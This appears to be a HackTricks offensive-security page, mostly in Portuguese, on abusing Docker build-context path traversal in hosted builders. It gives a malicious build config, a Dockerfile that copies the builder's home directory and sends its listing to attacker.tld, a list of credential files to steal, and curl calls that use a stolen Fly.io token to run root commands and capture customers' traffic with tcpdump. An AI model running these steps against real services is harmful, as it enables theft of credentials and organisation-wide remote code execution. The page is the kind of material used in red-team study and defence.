Abusing Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

TL;DR

Se uma plataforma CI/CD ou hosted builder permitir que colaboradores especifiquem o caminho do Docker build context e o caminho do Dockerfile, frequentemente é possível definir o contexto para um diretório pai (por exemplo, "..") e tornar arquivos do host parte do build context. Então, um Dockerfile controlado pelo atacante pode COPY e exfiltrate segredos encontrados no home do usuário do builder (por exemplo, ~/.docker/config.json). Tokens de registry roubados também podem funcionar contra as control-plane APIs do provedor, permitindo RCE em toda a organização.

Superfície de ataque

Muitos serviços de hosted builder/registry fazem mais ou menos isto ao construir imagens enviadas por usuários:

  • Ler uma configuração a nível de repo que inclui:
  • build context path (enviado ao Docker daemon)
  • Dockerfile path relativo a esse contexto
  • Copy o diretório do build context indicado e o Dockerfile para o Docker daemon
  • Build da imagem e execução como um serviço hospedado

Se a plataforma não canonicalizar e restringir o build context, um usuário pode defini-lo para um local fora do repositório (path traversal), fazendo com que arquivos arbitrários do host legíveis pelo build user se tornem parte do build context e fiquem disponíveis para COPY no Dockerfile.

Restrições práticas comumente observadas:

  • O Dockerfile deve residir dentro do caminho de contexto escolhido e seu caminho deve ser conhecido com antecedência.
  • O build user deve ter acesso de leitura aos arquivos incluídos no contexto; arquivos de dispositivo especiais podem quebrar a cópia.

PoC: Path traversal via Docker build context

Exemplo de configuração de servidor maliciosa declarando um Dockerfile dentro do contexto do diretório pai:

yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile"   # Must reside inside the final context
dockerBuildPath: ".."           # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"

Notas:

  • Usar ".." frequentemente resolve para o diretório home do usuário builder (por exemplo, /home/builder), que normalmente contém arquivos sensíveis.
  • Coloque seu Dockerfile sob o nome do diretório do repo (por exemplo, repo "test" → test/Dockerfile) para que permaneça dentro do contexto pai expandido.

PoC: Dockerfile para ingerir e exfiltrar o contexto do host

dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data                      # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)

Alvos comumente recuperados de $HOME:

  • ~/.docker/config.json (registry auths/tokens)
  • Outros caches e configs de cloud/CLI (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)

Dica: Mesmo com um .dockerignore no repositório, a seleção de contexto do lado da plataforma vulnerável ainda governa o que é enviado ao daemon. Se a plataforma copiar o caminho escolhido para o daemon antes de avaliar o .dockerignore do seu repo, arquivos do host ainda podem ser expostos.

Pivot na cloud com tokens excessivamente privilegiados (exemplo: Fly.io Machines API)

Algumas plataformas emitem um único bearer token utilizável tanto para o container registry quanto para o control-plane API. Se você exfiltrar um registry token, tente usá-lo contra a API do provedor.

Example API calls against Fly.io Machines API using the stolen token from ~/.docker/config.json:

Enumerate apps in an org:

bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"

Execute um comando como root dentro de qualquer máquina de um app:

bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'

Resultado: org-wide remote code execution across all hosted apps where the token holds sufficient privileges.

Roubo de segredos de serviços hospedados comprometidos

Com exec/RCE em servidores hospedados, você pode obter segredos fornecidos pelo cliente (API keys, tokens) ou realizar ataques de prompt-injection. Exemplo: instalar tcpdump e capturar tráfego HTTP na porta 8080 para extrair credenciais de entrada.

bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'

# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'

Requisições capturadas frequentemente contêm client credentials em headers, bodies ou query params.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks